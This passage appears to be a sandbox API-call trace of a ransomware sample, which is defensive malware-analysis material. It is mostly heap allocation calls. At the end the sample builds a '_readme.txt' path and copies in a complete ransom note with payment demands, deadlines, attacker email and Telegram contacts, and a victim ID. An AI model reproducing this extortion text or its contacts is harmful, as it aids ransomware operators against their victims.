dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.628] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.628] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.629] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.629] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.630] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.631] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.631] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.632] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.633] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.633] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.634] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.634] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.634] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.634] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.634] PathFindFileNameW (pszPath="") returned="" [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.634] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.634] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.634] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.634] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.635] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dcb30 [0116.635] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.635] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.635] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0116.635] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.635] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of 